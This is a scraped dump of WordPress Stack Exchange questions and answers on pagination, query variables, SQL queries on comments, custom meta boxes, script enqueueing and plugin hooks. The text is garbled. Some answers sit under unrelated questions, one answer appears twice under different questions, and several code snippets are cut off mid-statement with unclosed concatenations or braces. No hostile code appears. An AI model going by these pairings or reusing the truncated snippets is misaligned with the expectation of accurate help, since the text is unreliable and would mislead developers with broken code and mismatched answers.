'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
'total' => $wp_query->max_num_pages,
'current' => max( 1, get_query_var( 'paged' ) ),
'format' => '?paged=%#%',
'show_all' => false,
'type' => 'plain',
'end_size' => 2,
'mid_size' => 1,
'prev_next' => true,
//'prev_text' => __( '« Prev', 'text-domain' ),
//'next_text' => __( 'Next »', 'text-domain' ),
//'prev_text' => __( '‹ Prev', 'text-domain' ),
//'next_text' => __( 'Next ›', 'text-domain' ),
'prev_text' => sprintf( '<i></i> %1$s',
apply_filters( 'my_pagination_page_numbers_previous_text',
__( 'Newer Posts', 'text-domain' ) )
),
'next_text' => sprintf( '%1$s <i></i>',
apply_filters( 'my_pagination_page_numbers_next_text',
__( 'Older Posts', 'text-domain' ) )
),
'add_args' => false,
'add_fragment' => '',
// Custom arguments not part of WP core:
'show_page_position' => false, // Optionally allows the "Page X of XX" HTML to be displayed.
);
$pagination_args = apply_filters( 'my_pagination_args', array_merge( $pagination_args, $args ), $pagination_args );
$output .= paginate_links( $pagination_args );
// Optionally, show Page X of XX.
if ( true == $pagination_args['show_page_position'] && $wp_query->max_num_pages > 0 ) {
$output .= '<span class="page-of-pages">' .
sprintf( __( 'Page %1s of %2s', 'text-domain' ), $pagination_args['current'], $wp_query->max_num_pages ) .

}
return $output;
}

Update
------
It seems that, after switching my home page display from "Your latest posts" (which was irrelevant since the theme/child theme junks anything and replaces it with its widgets when active) to "A static page" (I chose a random page, which doesn't display anyhow), it now, instead of giving a 404, just stays on page 1, even though /page/2 is shown in the URL (the other commonly reported error). | After a bit of research and playing with it, I did get it to work.
**Issue 1**
The first trick (as mentioned above) was to switch the home page display to use "A static page." This eliminated the 404 issue, but didn't fix the pagination staying on page 1.
**Issue 2**
The second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the [WP get\_query\_var documentation page](https://codex.wordpress.org/Function_Reference/get_query_var#Examples):
>
> For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable
>
>
>
This seems to work great:
```
$page = is_front_page() ? 'page' : 'paged';

I used `wp_reset_query()` after the all loops when i use the main loop, and `wp_reset_postdata()` after all loops where I used `new WP_query`.

1. a custom template for the category, with an arbitrary name (e.g. `special.php`)

[](https://i.stack.imgur.com/3sbWX.png) | I think the error message speak for itself. The "file type is not allowed". WordPress upload only allowed for certain file types, see [Uploading Files](https://codex.wordpress.org/Uploading_Files). |
254,355 | <p>I want to use the <code>the_title()</code> function to get the title of a post and then reference that title in an array. Code is as follows:</p>
<pre><code> <?php
$title = array(

);
$args = array(
'post_type' => array( 'questions' ), 'content' => array( $title )
);

<p>So I want to take the post title and use the <code>$args</code> variable to find posts that have post type = 'questions' and have the current post's title as their value for the 'content' taxonomy.</p>
<p>Currently it isn't working. The post I'm testing on has title 'Book1'and it works when I change the <code>$args</code> line to:</p>
<pre><code>$args = array(

<p>But with the code I listed first, it doesn't work...</p>

| I want to use the `the_title()` function to get the title of a post and then reference that title in an array. Code is as follows:
```
<?php
$title = array(
the_title()
);
$args = array(
'post_type' => array( 'questions' ), 'content' => array( $title )
);
```
So I want to take the post title and use the `$args` variable to find posts that have post type = 'questions' and have the current post's title as their value for the 'content' taxonomy.
Currently it isn't working. The post I'm testing on has title 'Book1'and it works when I change the `$args` line to:
```
$args = array(
'post_type' => array( 'questions' ), 'content' => array( 'Book1' )
```
But with the code I listed first, it doesn't work...
EDIT: yep, it was simple: just needed to change it to 'content' => $title because $title is already an array. Thanks all! | I think the error message speak for itself. The "file type is not allowed".

And besides all that, it's a PHP notice. Not an error, not a fatal error, but a notice. All that means is "hey, look at me, you might want to fix me at some point, but I'm not an error." Read <https://stackoverflow.com/questions/4624474/php-difference-between-notice-and-warning>

So check in wp-config.php and turn off debug so you don't see the notices <https://codex.wordpress.org/Debugging_in_WordPress> Or check in php.ini of your hosting account; see <https://stackoverflow.com/questions/1053424/how-do-i-get-php-errors-to-display>
To more effectively find the cause of an PHP error or notice, use Debug as linked above. But the simplest thing to do is deactivate all plugins and reactivate until you find the one that throws the notice. Then ask the plugin for help or look in their forums. Or, if a plugin is not the cause, switch to the default WordPress theme and see if the notice is in the error logs recorded by `wp_debug.` |

This SQL should give a list of all spam comments (which I assume skräpposter means):
`SELECT * FROM `wp_comments` WHERE `comment_approved` = 'spam';`
If the SQL gives 0 lines, the issue is with WordPress counting those comments, but in fact there are none. If the SQL gives a list, the issue is with the listing of those comments.
It may be an issue with the term `spam` being translated when writing comments to the db, but not when reading or vice-versa. You can check all approval status tags in your db using this:
`SELECT DISTINCT `comment_approved` FROM `wp_comments`;`
(or in some dialect: `SELECT UNIQUE `comment_approved` FROM `wp_comments`;`)
This should show terms like `1` (approved), `0` (pending), `spam`, `trash` etc. If you see translated string here, like `skräpposter` and similar, you may be in for a ride to find out why those terms are not written in the db as they should.
If all seems fine on the db level, it's trickier to find the reason, why those are not listed. Definitely needs the target system to be investigated more.
But anyway, this is where I'd start my investigation.

When I understand you question correct then you want to use different templates based on the categories you're using within your posts, correct?
If that's the case, then you only need one template (single.php) and a combination of `get_the_terms()` and `get_template_part()`.
```
<?php
$categories = get_the_terms(get_the_ID(), 'slug');
if ( in_array('cat1', $categories) ) {
get_template_part('partials/single', '1');
} elseif ( in_array('cat2', $categories) ) {
get_template_part('partials/single', '2');
}
?>
```
You should place the code above within *The Loop*. The two template files are called *single-1.php* and *single-2.php* and stored within a folder called *partials*.

You'll of course want to change the urls to your actual urls. Just make sure you don't have the "https" but "http".
This will override your database entries.
Then go into your dashboard under settings and remove the https that you entered, hit save and you have fixed the problem. If you added https via a plugin, you'll want to turn that plugin off.
You can then remove the two lines from your wp-config file and make sure everything still works.
**Two items to note.**
One. If you're using firefox and i believe Chrome. They may continue to try to load to the SSL version of your site now that they have it it their history. I have not gone into how to fix that here, but a quick google search will tell you how.
The other item. Just changing your db entries may not be the best idea as other it could damage serialized strings. |

I added some comments so you will understand the process.
```
function remove_uncategorized($post_id) {
// get default category
$default_category = (int)get_option('default_category');
// check if the post is in the default category

| I'm using WordPress Version 4.7.2
I'm trying to set up the new post page (wp-admin/post-new.php) so it automatically displays two custom fields. I'd like the custom field "name" pre-populated and the custom field "value" left blank.
**Current New Post Page**
[](https://i.stack.imgur.com/NfUIs.png)
**Desired New Post Page**
[](https://i.stack.imgur.com/mqtJB.png)
Any help is greatly appreciated. Thanks! | The below code will add default custom fields to your post ( Insert the code in your themes function.php ) .
```
add_action('wp_insert_post', 'set_default_custom_fields');
function set_default_custom_fields($post_id){
if ( $_GET['post_type'] == 'post' ) {
add_post_meta($post_id, 'Field Name', '', true);
add_post_meta($post_id, 'Another Field Name', '', true);
}
return true;
}
```
By default this will add an empty custom field to your post. If you want to enter a value by default too, use the code below.
```
add_action('wp_insert_post', 'set_default_custom_fields');
function set_default_custom_fields($post_id){
if ( $_GET['post_type'] == 'post' ) {
add_post_meta($post_id, 'Field Name', 'Field Value', true);
}
return true;
}

254,735 | <p>I'm using postMessage for my customizer and trying to avoid repetitions in customizer.php and customizer.js How can I use the variable $css from customizer.php and include it in customizer.js to avoid repeating h1,h2,h3 etc. So right now it works like this:</p>

Is that the right way or should I keep updating the 'attachment meta data' and 'attached file' for every image I'm renaming? | I found the problem. The content width was forced in functions.php:
```
...
if ( ! isset( $content_width ) ) $content_width = 634;
add_theme_support( 'automatic-feed-links' );
...
```
I changed the value to 964 and it works like it should. :) |
254,808 | <p>I have a database table in WordPress as in the following example:</p>
<pre>ID | Allocation_number | Treatment | Used
1 | 1 | A | 0
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0</pre>
<p>And the rows continues upto X times. The "Allocation_number" starts from 1 and increases by +1. "Used" column has "0" or "1", 0 indicating NOT USED YET, 1 = USED ALREADY. This column Used maybe is not essential - however, I thought by using this logic we might indicate the first available treatment (not used yet). The treatment options are strings (here A or B chosen at random)</p>
<p>When a user FETCHES the first AVAILABLE Treatment in the QUEUE, the USED column's value is UPDATED and 0 is replaced by 1.
When the first user will get the first treatment A, the table should look:</p>
<pre>ID | Allocation_number | Treatment | Used
1 | 1 | A | 1
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0</pre>
<p>Q: How could I achieve a scenario where the NEXT visitor who triggers a button will get the FOLLOWING AVAILABLE treatment (in this case B) allocated for him / her. The next one will get the next available, that is B. </p>
<p>In other words the SQL Query must find the VALUE of the column <b>Treatment</b> in the row where <b>Used</b> column value has the <b>first occurrence</b> of the value 0 - that is the first yet UNUSED treatment?</p>
<p>Could anybody help me to get the correct SQL query or hook for this? Or does any body have a similar plugin for WordPress to achieve this?</p>

| I have a database table in WordPress as in the following example:
```
ID | Allocation_number | Treatment | Used
1 | 1 | A | 0
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0
```
And the rows continues upto X times. The "Allocation\_number" starts from 1 and increases by +1. "Used" column has "0" or "1", 0 indicating NOT USED YET, 1 = USED ALREADY. This column Used maybe is not essential - however, I thought by using this logic we might indicate the first available treatment (not used yet).

```
Q: How could I achieve a scenario where the NEXT visitor who triggers a button will get the FOLLOWING AVAILABLE treatment (in this case B) allocated for him / her. The next one will get the next available, that is B.
In other words the SQL Query must find the VALUE of the column **Treatment** in the row where **Used** column value has the **first occurrence** of the value 0 - that is the first yet UNUSED treatment?
Could anybody help me to get the correct SQL query or hook for this? Or does any body have a similar plugin for WordPress to achieve this? | So what you want is to use MySQL's "ORDER BY" feature:
```
SELECT Treatment FROM my_table WHERE Used=0 ORDER BY Allocation_number ASC LIMIT 1
```
So you look for all rows where Used=0, order (sort) them by Allocation\_number in ascending order, and then pick the first row that matches. ("LIMIT 1")
I'll let you plug this into [$wpdb](https://codex.wordpress.org/Class_Reference/wpdb) as an exercise... ;)
Hope this helps! |

| I would like users of my theme to be able to mark some posts as more important so that my theme can draw more attention to them.
I'm not sure about the best way to go about this?
Is it possible to add a default category of 'featured' to a theme that will be there as an option when anybody installs my theme?
edit: Taking the approach of adding a custom meta-box in the admin screen: Should something like this work?
```
function featured_post() { ?>
<label><input type="checkbox" id="featured_post" value="featured_post">Make this a featured post</label>;
<?php }
add_action('add_meta_boxes', 'cd_meta_box_add');
function cd_meta_box_add() {
add_meta_box(1, 'Featured Post', 'featured_post');
}
function save_custom_meta_box($post_id, $post, $update)
{
if (!isset($_POST["meta-box-nonce"]) || !wp_verify_nonce($_POST["meta-box-nonce"], basename(__FILE__)))
return $post_id;
if(!current_user_can("edit_post", $post_id))
return $post_id;
if(defined("DOING_AUTOSAVE") && DOING_AUTOSAVE)
return $post_id;
$slug = "post";
if($slug != $post->post_type)
return $post_id;
$featured_post_value = "";
if(isset($_POST["featured_post"]))
{
$featured_post_value = $_POST["featured_post"];
}
update_post_meta($post_id, "featured_post", $featured_post_value);
}
add_action("save_post", "save_custom_meta_box", 10, 3);
function annframe_featured_class( $classes ) {
global $post;
if ( get_post_meta( $post->ID, 'featured_post' ) || '' != get_post_meta( $post->ID, 'featured_post' ) ) {
$classes[] = 'featured-post';
}
return $classes;
}
add_filter( 'post_class', 'annframe_featured_class' );
``` | WordPress by default provides such feature named "Sticky Posts". you can mark any post as sticky from "Quick Edit" link. and WordPress will add a post class named `sticky` with all sticky posts. so you can use this class in your CSS for giving custom styles.
and another solutions is to create custom post meta and meta boxes in wp-admin. and provide your users a way to mark any post as "Featured". and then based on that meta field value you can easily alter the post class.
find more info about [Meta Box](https://developer.wordpress.org/reference/functions/add_meta_box/) and [Custom fields](https://codex.wordpress.org/Custom_Fields) from WordPress Codex.
and then if you have added a `custom field` in a post named "`featured_post`" you can alter the post class using below function. it will add a class named '`featured-post`' with all posts marked as featured.

254,949 | <p>Can anybody tell me how I can add a "data-track" tag to the links in my menu. When I go to the dashboard -> menus, I can add any custom HTML.</p>
<p>I would like it to go from this:</p>
<pre><code><a href="http://www.detailingwiki.org/articles/">Article index</a>
</code></pre>
<p>to this:</p>
<pre><code><a data-track="navigation|click|article-index" href="http://www.detailingwiki.org/articles/">Article index</a>
</code></pre>
<p>The first part of the code can always be the same (i.e. "data-track="navigation|click") the part at the end should copy the text from the link. In the example above that is "article-index", but it should just take whatever the text for the link is. (not sure if spaces are allowed....)</p>
<p>I haven't been able to do it myself, and I don't want to edit the core wordpress files.</p>

| Can anybody tell me how I can add a "data-track" tag to the links in my menu. When I go to the dashboard -> menus, I can add any custom HTML.
I would like it to go from this:
```
<a href="http://www.detailingwiki.org/articles/">Article index</a>
```
to this:
```
<a data-track="navigation|click|article-index" href="http://www.detailingwiki.org/articles/">Article index</a>
```
The first part of the code can always be the same (i.e. "data-track="navigation|click") the part at the end should copy the text from the link. In the example above that is "article-index", but it should just take whatever the text for the link is. (not sure if spaces are allowed....)
I haven't been able to do it myself, and I don't want to edit the core wordpress files. | So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.
Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:
```
$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
'orderby' => 'include', // <---
) );
```

How to achieve? (of course, out-of-question is the category pages, where post\_contents are listed) | **This method doesn't work. I leave this answer only as reference.**
If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:
```
add_filter( 'the_content', 'cyb_filter_content' );
function cyb_filter_content( $content ) {
if( is_main_query() ) {
// Work with $content here
}
return $content;
}
```
But this **DOESN'T WORK. Why?**
`is_main_query()` does this:
```
function is_main_query() {
global $wp_query;
return $wp_query->is_main_query();
}
```
So, it does not check if the query of the current loop is the main query, it checks if the global `$wp_query` object is the main query; and the global `$wp_query` object **is always the main query** unless it has been modified, which is something, let's say, unusual and often not recommended. So, `is_main_query()` returns `true` almost everywhere and everytime. |

| I have two different kinds of single posts, blog and products, built in the same way with post categories. The blog has three static categories that the user will use, News, Updates, and Ideas. This is as far as I've gotten in figuring it out:
```
if (is_single('cat=5')) {
// show sidebar code for cat=5
} else {
// show main sidebar code
}
``` | **This method doesn't work. I leave this answer only as reference.**
If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:
```
add_filter( 'the_content', 'cyb_filter_content' );
function cyb_filter_content( $content ) {
if( is_main_query() ) {
// Work with $content here
}
return $content;
}
```
But this **DOESN'T WORK. Why?**
`is_main_query()` does this:
```
function is_main_query() {
global $wp_query;
return $wp_query->is_main_query();
}
```
So, it does not check if the query of the current loop is the main query, it checks if the global `$wp_query` object is the main query; and the global `$wp_query` object **is always the main query** unless it has been modified, which is something, let's say, unusual and often not recommended. So, `is_main_query()` returns `true` almost everywhere and everytime. |

I found [this question](https://wordpress.stackexchange.com/questions/695/restricting-a-plugin-to-only-load-its-css-and-js-on-selected-pages) which gives a possible method, but I can't get it to work.
I tracked down where the specific CSS file is loaded from, it's in a class Vc\_Base in this function:

```
So I set up this in my functions.php:
```

}
if (!is_admin()) {
add_action('wp_head', 'inf_remove_junk');
}
```
The `inf_remove_junk` function definitely executes, but it doesn't remove the CSS. Does it need to hook into a different point or do something else? | You need to use action `wp_enqueue_scripts` except `wp_head` like:
```
function inf_remove_junk() {
if (!is_admin()) {
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
}
}
add_action( 'wp_enqueue_scripts', 'inf_remove_junk' );
```
But it remove the scripts from front end.
1. I think on archive pages VC does not execute it's shortcode. So you can check is\_archive() condition instead of is\_admin().
2. Or you can check the shortcode from content and remove assets like:
function inf\_remove\_junk() {
```
// 1. Check shortcode exist in post content and disable scripts.
global $post;
if ( stripos($post->post_content, '[YOUR_SHORTCODE]') ) {
// or
// 2. Disable scripts on all pages except single page, post, custom Post etc.
if ( ! singular() ) {
// or
// 3. Disable on archive, 404 and search page
if ( is_archive() || is_404() || is_search() ) {
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
}

| I've developed some functionality for a company website around job postings. There is a custom post type, with specialized fields, and a widget that displays a summary of current job postings. It's 5 functions and a widget class that was hobbled together from various websites etc and dumped into functions.php. It works.
Now I would like to extract it to a plugin but my understanding is weak... My first attempt was to just dump it into a php file with a header, but that threw a bunch of errors when I tried to activate it. Then I put all of the function hooks into the activation hook for the plugin - which doesn't throw any errors, but doesn't seem to do anything either.

Suggestions for further reading are great. | If all you want is for your plugin to work, simply
replace
```
register_activation_hook( __FILE__, 'activate_my_careers' );
```
with
```
add_action( 'plugins_loaded', 'activate_my_careers' );
```
If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the [WordPress Plugin API](https://codex.wordpress.org/Plugin_API/).
The first hook available to (non- must-use) plugins is `plugins_loaded`. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins\_loaded hooks.
The function/method called by the plugins\_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.
The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.
So for your example, the only action we want to add when the main plugin file is included is a hook for plugins\_loaded. The callback for that hook will then add the other actions needed for your plugin to work.
The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either. |
255,088 | <p>So I'm developing this plugin to take the input of a form, puts it in a .CSV document then send the .CSV document over via email. And all this works fine. However, on pressing submit, a rouge file downloads named 'download'. When this file is opened up in my text editor, it seems to just be the complied code of the page. It's odd. Here's the source code to my plugin:</p>
<p>form-to-csv.php</p>

| So I'm developing this plugin to take the input of a form, puts it in a .CSV document then send the .CSV document over via email. And all this works fine. However, on pressing submit, a rouge file downloads named 'download'. When this file is opened up in my text editor, it seems to just be the complied code of the page. It's odd. Here's the source code to my plugin:
form-to-csv.php
```
<?php

if ( !function_exists( 'add_action' ) ) {

exit;

register_deactivation_hook( __FILE__, array( 'Form_To_CSV', 'plugin_deactivation' ) );
require_once( FORM_TO_CSV__PLUGIN_DIR . 'form-to-csv_run.php' );

If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the [WordPress Plugin API](https://codex.wordpress.org/Plugin_API/).
The first hook available to (non- must-use) plugins is `plugins_loaded`. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins\_loaded hooks.
The function/method called by the plugins\_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.
The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.
So for your example, the only action we want to add when the main plugin file is included is a hook for plugins\_loaded. The callback for that hook will then add the other actions needed for your plugin to work.
The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either. |

Thanks in advance for any help. | Yes, you should have quite reasonable options to customize upload, there are plenty of existing solutions around.

255,133 | <p>After hours and hours of trying i can't get my head around it, I'm trying to <code>wp_enqueue_script</code> my custom js but WordPress is always looking for it in the parent theme folder, here is what i have tried lately without any success.</p>
<p>My parent theme is Twentysixteen,</p>
<p>Directly <code>wp_enqueue_script</code>:</p>
<pre><code>function assets() {
wp_enqueue_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>Register the <code>wp_register_script</code> before <code>wp_enqueue_script</code>:</p>
<pre><code> function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>And also this solution, where I <code>wp_deregister_script</code> the parent theme scripts,</p>
<pre><code>function assets() {
wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>And i'm following up the recommandations form WordPress:</p>
<p><a href="https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts" rel="nofollow noreferrer">https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts</a></p>
<p><strong>EDIT: fixed some coding errors</strong>
Here is my full functions.php content</p>
<pre><code><?php
/**
*
* Functions and definitions.
*
*/
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function my_theme_enqueue_styles() {
$parent_style = 'twentysixteen-style'; // This is 'twentysixteen-style' for the Twenty Sixteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
//enqueue and localizing the Javascript.
function assets() {
//wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>Finally here is the error in my console: </p>
<p>GET <a href="http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2" rel="nofollow noreferrer">http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2</a> 404 (Not Found)</p>
<p>My JS files is in the twentysixteen-child/js/ folder.</p>
<p>I'm really confused on how this work, and what i'm doing wrong to have this js not being loaded and WP pointing to the parent theme…</p>
<p>Thanks for any help and clarification !</p>
<p>kindly.</p>
<p>Matth.</p>

| After hours and hours of trying i can't get my head around it, I'm trying to `wp_enqueue_script` my custom js but WordPress is always looking for it in the parent theme folder, here is what i have tried lately without any success.
My parent theme is Twentysixteen,
Directly `wp_enqueue_script`:
```
function assets() {
wp_enqueue_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
Register the `wp_register_script` before `wp_enqueue_script`:
```
function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
And also this solution, where I `wp_deregister_script` the parent theme scripts,
```
function assets() {
wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
And i'm following up the recommandations form WordPress:
<https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts>
**EDIT: fixed some coding errors**
Here is my full functions.php content
```
<?php
/**
*
* Functions and definitions.
*
*/
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function my_theme_enqueue_styles() {
$parent_style = 'twentysixteen-style'; // This is 'twentysixteen-style' for the Twenty Sixteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
//enqueue and localizing the Javascript.
function assets() {
//wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
Finally here is the error in my console:
GET <http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2> 404 (Not Found)
My JS files is in the twentysixteen-child/js/ folder.
I'm really confused on how this work, and what i'm doing wrong to have this js not being loaded and WP pointing to the parent theme…
Thanks for any help and clarification !
kindly.
Matth. | This is the proper way to load a custom javascript in your child theme, `wp_localize_script` is only necessary if you need to exchange data between JS and PHP (Client and server).
```
function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], '1.0', false);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets');
```
So my issue as noticed by @KAGG was that i was loading this JS from another file…
Thanks for his help !
